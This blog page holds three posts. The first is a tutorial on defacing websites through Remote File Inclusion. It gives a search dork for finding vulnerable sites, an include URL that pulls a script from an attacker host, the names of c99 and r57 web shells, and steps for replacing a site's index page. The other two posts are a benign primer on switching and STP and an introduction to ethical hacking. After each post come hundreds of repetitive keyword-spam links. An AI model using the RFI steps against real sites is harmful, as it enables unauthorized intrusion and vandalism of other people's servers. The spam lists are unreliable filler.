Transparency Myanmar

transparency.myanmar@gmail.com

HOW TO DEFACE A WEBSITE USING REMOTE FILE INCLUSION (RFI)?

Posted by Transparency Myanmar 2010
Tuesday, January 23, 2024
comments (0)

HOW TO DEFACE A WEBSITE USING REMOTE FILE INCLUSION (RFI)?

Remote File Inclusion (RFI) is a technique that allows the attacker to upload a malicious code or file on a website or server. The vulnerability exploits the different sort of validation checks in a website and can lead to code execution on server or code execution on the website. This time, I will be writing a simple tutorial on Remote File Inclusion and by the end of the tutorial, I suppose you will know what it is all about and may be able to deploy an attack.
RFI is a common vulnerability. All the website hacking is not exactly about SQL injection. Using RFI you can literally deface the websites, get access to the server and play almost anything with the server. Why it put a red alert to the websites, just because of that you only need to have your common sense and basic knowledge of PHP to execute malicious code. BASH might come handy as most of the servers today are hosted on Linux.

SO, HOW TO HACK A WEBSITE OR SERVER WITH RFI?

First of all, we need to find out an RFI vulnerable website. Let's see how we can find one.
As we know finding a vulnerability is the first step to hack a website or server. So, let's get started and simply go to Google and search for the following query.
inurl: "index.php?page=home"
At the place of home, you can also try some other pages like products, gallery and etc.
If you already a know RFI vulnerable website, then you don't need to find it through Google.
Once we have found it, let's move on to the next step. Let's see we have a following RFI vulnerable website.
http://target.com/index.php?page=home
As you can see, this website pulls documents stored in text format from the server and renders them as web pages. Now we can use PHP include function to pull them out. Let's see how it works.
http://target.com/index.php?page=http://attacker.com/maliciousScript.txt
I have included my malicious code txt URL at the place of home. You can use any shell for malicious scripts like c99, r57 or any other.
Now, if it's a really vulnerable website, then there would be 3 things that can happen.
  1. You might have noticed that the URL consisted of "page=home" had no extension, but I have included an extension in my URL, hence the site may give an error like 'failure to include maliciousScript.txt', this might happen as the site may be automatically adding the .txt extension to the pages stored in server.
  2. In case, it automatically appends something in the lines of .php then we have to use a null byte '' in order to avoid error.
  3. Successful execution.
As we get the successful execution of the code, we're good to go with the shell. Now we'll browse the shell for index.php. And will replace the file with our deface page.
Continue reading

Networking | Routing And Switching | Tutorial 4 | 2018

Posted by Transparency Myanmar 2010
comments (0)


Welcome to my 4th new tutorial of the series of networking. In this blog you'll the content about network switches. You'll learn about how to make a communication successful and secure in the same network (LAN) by using STP. As Spanning tree protocol (STP) we used in multi-switched networks. Why we use this protocol in multi-switched network etc.

What is Switch? 

A switch is an intelligent device used to connect multiple devices within the same network. The intelligence of is that it requires Media Access Control (MAC) address for communication and doesn't allow broadcast.  Let's understand the whole thing by a little example, consider there is a network having 3 end devices name Device-A, Device-B,Device-C connected with each other respectively with the help of switch. When a Device-A sends data to Device-C so that data will only forwarded by switch to Device-C not to Device-B.

What is Media Access Control (MAC) address?

A Media Access Control (MAC) address is 48-bit unique physical address given to network interface controller (NIC) or network adapter, for communication within the same network which is given by its manufacturer. It is made up of hexadecimal numbers like a1:b1:cc:ac:2e:f1.

What is STP?


STP stands for Spanning tree protocol which is basically used in bridge and switches to prevent loops when you have a redundant links in the Ethernet networks. If the loop is present in the Ethernet network so the whole network will suffer because there will MAC instability in the MAC table,  duplicate frames generation and so on. Let's move to the video for further detail.


Related posts

  1. Pentest Box Tools Download
  2. Hacker Search Tools
  3. Hacking Tools For Games
  4. Hack Tools
  5. World No 1 Hacker Software
  6. Pentest Recon Tools
  7. Pentest Tools Find Subdomains
  8. Termux Hacking Tools 2019
  9. Nsa Hacker Tools
  10. What Is Hacking Tools
  11. Hacker Tools Apk
  12. Hacking Tools For Windows Free Download
  13. Pentest Tools Framework
  14. Best Pentesting Tools 2018
  15. How To Hack
  16. Pentest Tools
  17. Hacking Tools Online
  18. New Hack Tools
  19. Blackhat Hacker Tools
  20. Physical Pentest Tools
  21. Hacking Tools
  22. Hacking Tools For Mac
  23. New Hacker Tools
  24. Hacking Tools Kit
  25. Pentest Automation Tools
  26. Hacking Tools Windows 10
  27. Pentest Tools Online
  28. Hacking Tools
  29. Pentest Tools Tcp Port Scanner
  30. Pentest Reporting Tools
  31. Hacker Tools Software
  32. Underground Hacker Sites
  33. Hacker Tools
  34. New Hacker Tools
  35. Hacking Tools 2020
  36. Pentest Tools Url Fuzzer
  37. Hack Tool Apk No Root
  38. New Hack Tools
  39. Hacking Tools Online
  40. Hacking Tools Download
  41. Usb Pentest Tools
  42. Hacks And Tools
  43. Hack Tools For Ubuntu
  44. Hacking Tools For Beginners
  45. Pentest Tools Github
  46. Hack Tools 2019
  47. Hacking Tools
  48. Android Hack Tools Github
  49. Hacker Tools Software
  50. Hacking Tools For Windows 7
  51. New Hack Tools
  52. Hackers Toolbox
  53. Hack Tools Mac
  54. Pentest Tools Android
  55. Pentest Tools Apk
  56. Hack Tools For Ubuntu
  57. Hacking Tools Usb
  58. Hacker Security Tools
  59. Hak5 Tools
  60. Physical Pentest Tools
  61. New Hack Tools
  62. Pentest Tools Nmap
  63. Hacking Tools 2020
  64. Hacker Security Tools
  65. Hacker Tools 2019
  66. Pentest Automation Tools
  67. Pentest Box Tools Download
  68. Hack Tool Apk No Root
  69. Hacker Tools 2019
  70. Hacker Tools Free Download
  71. Hacking Apps
  72. Pentest Tools Github
  73. Wifi Hacker Tools For Windows
  74. Nsa Hacker Tools
  75. Hackrf Tools
  76. Hacker Tools Github
  77. Hacking Tools Free Download
  78. Hacker Tools List
  79. Kik Hack Tools
  80. Install Pentest Tools Ubuntu
  81. Hack Tools For Pc
  82. Android Hack Tools Github
  83. Hacker
  84. Growth Hacker Tools
  85. Hacking Tools Pc
  86. Hack Tools For Windows
  87. Hacker Tools Apk
  88. Pentest Tools
  89. Pentest Tools For Ubuntu
  90. Termux Hacking Tools 2019
  91. Hacking Tools Free Download
  92. Nsa Hack Tools
  93. Hacker Tools Apk
  94. Nsa Hack Tools
  95. Hack Tools For Mac
  96. Physical Pentest Tools
  97. Pentest Tools List
  98. Ethical Hacker Tools
  99. Hacker Tools Apk
  100. Computer Hacker
  101. Pentest Reporting Tools
  102. Pentest Tools Download
  103. Hacker Tools Free
  104. Hacker Tools For Pc
  105. Hack Apps
  106. Best Hacking Tools 2019
  107. Pentest Tools List
  108. Hacking Tools And Software
  109. Hackrf Tools
  110. Hacker Tools Windows
  111. Pentest Tools Apk
  112. Hack Website Online Tool
  113. Hack Tools For Pc
  114. Hack Tools
  115. Hacks And Tools
  116. Hacker Tools List
  117. Hacker Tools
  118. Pentest Tools
  119. Pentest Automation Tools
  120. Hack Rom Tools
  121. Pentest Tools Linux
  122. Pentest Tools For Windows
  123. Computer Hacker
  124. Hacker Tools Windows
  125. Kik Hack Tools
  126. Pentest Tools Review
  127. Hackrf Tools
  128. Hacking Tools For Windows
  129. Pentest Tools For Mac
  130. Hack Tool Apk
  131. Pentest Tools Linux
  132. Hacking Tools 2019
  133. Hacker Tools For Mac
  134. How To Make Hacking Tools
  135. Android Hack Tools Github
  136. Hacking Tools And Software
  137. Hacker Search Tools
  138. Hacking Tools Kit
  139. Hacking Tools Hardware
  140. Hack Tools For Windows
  141. What Are Hacking Tools
  142. Pentest Tools Download
  143. Best Hacking Tools 2020
  144. Hacking Tools Windows 10
  145. Hack Tools For Mac
  146. Hacker Search Tools
  147. Pentest Recon Tools
  148. Hak5 Tools
  149. Pentest Tools Open Source
  150. Hacking Tools For Mac
  151. Best Pentesting Tools 2018
  152. Hacker Tools Apk Download
  153. Hacker Tools Free
  154. Hacker Search Tools
  155. Kik Hack Tools
  156. Hack And Tools
  157. Pentest Box Tools Download
  158. Growth Hacker Tools
  159. New Hacker Tools
  160. Pentest Tools Kali Linux
  161. Hacking Tools For Games
  162. Hacking Tools For Windows
  163. Kik Hack Tools
  164. Hacker Tools Linux
  165. Hacking Tools Windows
  166. Hack Tools Online
  167. Pentest Tools Kali Linux
  168. Nsa Hacker Tools
  169. How To Hack
  170. Github Hacking Tools
  171. Hack Tools 2019
  172. Pentest Tools List
  173. Hack Tools
  174. Tools 4 Hack

How To Start | How To Become An Ethical Hacker

Posted by Transparency Myanmar 2010
comments (0)

Are you tired of reading endless news stories about ethical hacking and not really knowing what that means? Let's change that!
This Post is for the people that:

  • Have No Experience With Cybersecurity (Ethical Hacking)
  • Have Limited Experience.
  • Those That Just Can't Get A Break


OK, let's dive into the post and suggest some ways that you can get ahead in Cybersecurity.
I receive many messages on how to become a hacker. "I'm a beginner in hacking, how should I start?" or "I want to be able to hack my friend's Facebook account" are some of the more frequent queries. Hacking is a skill. And you must remember that if you want to learn hacking solely for the fun of hacking into your friend's Facebook account or email, things will not work out for you. You should decide to learn hacking because of your fascination for technology and your desire to be an expert in computer systems. Its time to change the color of your hat 😀

 I've had my good share of Hats. Black, white or sometimes a blackish shade of grey. The darker it gets, the more fun you have.

If you have no experience don't worry. We ALL had to start somewhere, and we ALL needed help to get where we are today. No one is an island and no one is born with all the necessary skills. Period.OK, so you have zero experience and limited skills…my advice in this instance is that you teach yourself some absolute fundamentals.
Let's get this party started.
  •  What is hacking?
Hacking is identifying weakness and vulnerabilities of some system and gaining access with it.
Hacker gets unauthorized access by targeting system while ethical hacker have an official permission in a lawful and legitimate manner to assess the security posture of a target system(s)

 There's some types of hackers, a bit of "terminology".
White hat — ethical hacker.
Black hat — classical hacker, get unauthorized access.
Grey hat — person who gets unauthorized access but reveals the weaknesses to the company.
Script kiddie — person with no technical skills just used pre-made tools.
Hacktivist — person who hacks for some idea and leaves some messages. For example strike against copyright.
  •  Skills required to become ethical hacker.
  1. Curosity anf exploration
  2. Operating System
  3. Fundamentals of Networking
*Note this sites





More information


  1. Hacker Security Tools
  2. Hacker Hardware Tools
  3. Hacker Tools For Windows
  4. Hacking Tools Windows 10
  5. Hacker Tool Kit
  6. Hacker Tools 2019
  7. Game Hacking
  8. Pentest Box Tools Download
  9. Pentest Tools Port Scanner
  10. Hacking Tools Download
  11. Hack App
  12. Hacker
  13. Hacker
  14. Hacking Tools Download
  15. Hacking Tools Github
  16. New Hacker Tools
  17. Github Hacking Tools
  18. Hacking Tools For Mac
  19. Hacking Tools For Beginners
  20. Hacker Tool Kit
  21. Pentest Tools Linux
  22. Hack Rom Tools
  23. Beginner Hacker Tools
  24. Hak5 Tools
  25. Pentest Tools For Mac
  26. Pentest Tools Tcp Port Scanner
  27. Tools Used For Hacking
  28. Best Hacking Tools 2019
  29. Hackrf Tools
  30. Hacking Tools Name
  31. Black Hat Hacker Tools
  32. Pentest Recon Tools
  33. Hacking Tools Software
  34. Hacking Tools Github
  35. Pentest Tools Apk
  36. Hacking Tools Usb
  37. Hacker Tools For Pc
  38. Nsa Hacker Tools
  39. Usb Pentest Tools
  40. Nsa Hacker Tools
  41. New Hack Tools
  42. Top Pentest Tools
  43. Hack Tools Pc
  44. Hacking Tools Software
  45. Tools For Hacker
  46. Pentest Reporting Tools
  47. Hacking Apps
  48. What Is Hacking Tools
  49. Hacking Apps
  50. Hacker Tools Hardware
  51. Hacking Tools For Mac
  52. Hacker Tools For Mac
  53. Black Hat Hacker Tools
  54. Hack Tools Online
  55. Bluetooth Hacking Tools Kali
  56. Pentest Tools Windows
  57. Hacking App
  58. Hacking Tools Mac
  59. Hacker Tools Online
  60. Hacker Tools Github
  61. Hack Apps
  62. Hacking Tools Mac
  63. Bluetooth Hacking Tools Kali
  64. Beginner Hacker Tools
  65. Pentest Tools For Windows
  66. Hacker Tools For Windows
  67. Growth Hacker Tools
  68. How To Make Hacking Tools
  69. Pentest Recon Tools
  70. Pentest Recon Tools
  71. Hacking Tools And Software
  72. Pentest Tools Port Scanner
  73. Hacking Tools 2020
  74. Hack Tools
  75. Install Pentest Tools Ubuntu
  76. Pentest Tools For Mac
  77. Pentest Tools Free
  78. Pentest Automation Tools
  79. Bluetooth Hacking Tools Kali
  80. Hack Tools Mac
  81. Hacking Tools Name
  82. How To Make Hacking Tools
  83. Hack Tools 2019
  84. Hacker Tools For Mac
  85. Hack Tools Mac
  86. Bluetooth Hacking Tools Kali
  87. Hacking Tools And Software
  88. Hacking Tools And Software
  89. Tools 4 Hack
  90. Hacker Tools For Pc
  91. New Hack Tools
  92. Nsa Hack Tools Download
  93. Best Hacking Tools 2019
  94. Hacking Tools 2019
  95. Hack Tools
  96. Hack Tools Github
  97. Pentest Recon Tools
  98. Hacking Tools For Games
  99. Easy Hack Tools
  100. Best Hacking Tools 2020
  101. Hacker Tools Free Download
  102. Tools For Hacker
  103. Hacking Tools Download
  104. Hacking Tools Mac
  105. Hacking Tools For Games
  106. Hacking Tools For Pc
  107. Hack Tools For Ubuntu
  108. Hacking Apps
  109. Hack App
  110. Hacking Tools
  111. Pentest Tools
  112. Wifi Hacker Tools For Windows
  113. Hacking Tools For Kali Linux
  114. Hacker Tools Apk
  115. Hacking Tools For Windows
  116. Hacker Tools Free
  117. Hacker Tool Kit
  118. How To Make Hacking Tools
  119. Hack Tools For Ubuntu
  120. Hacker Tools 2019
  121. Pentest Tools Apk
  122. Tools For Hacker
  123. Hack Tools Pc
  124. Hacker Tools List
  125. Bluetooth Hacking Tools Kali
  126. Bluetooth Hacking Tools Kali
  127. Physical Pentest Tools
  128. Hacking Tools Mac
  129. Top Pentest Tools
  130. Pentest Tools Nmap
  131. Pentest Tools Url Fuzzer
  132. Ethical Hacker Tools
  133. Hacker Tools For Mac
  134. Pentest Tools
  135. Hacker Tools For Pc
  136. Black Hat Hacker Tools
  137. Hack Tools For Windows
  138. Hacking Tools Github
  139. Best Pentesting Tools 2018
  140. Pentest Tools Kali Linux
  141. Hacking Tools For Pc
  142. Hacker Tools For Windows
  143. Termux Hacking Tools 2019
  144. Hack Apps
  145. Hacker Tools Free
  146. Pentest Tools Website Vulnerability
  147. Hacking Tools 2019
  148. Pentest Tools Website
  149. Hack App
  150. Pentest Reporting Tools
  151. Hackers Toolbox
  152. Pentest Tools Find Subdomains
  153. Hacker Tools For Pc
  154. Hacking Tools Windows 10
  155. Hacker Tools Hardware
  156. Hak5 Tools
  157. Nsa Hack Tools
  158. Hacker Tools Online
  159. Hacker Search Tools
  160. Hacking Tools For Mac
  161. Hack Tools For Ubuntu
  162. Hackers Toolbox
  163. Hacking Tools For Beginners
  164. Hacker Tools Windows
  165. Hacking Tools Windows

Subscribe to: Posts (Atom)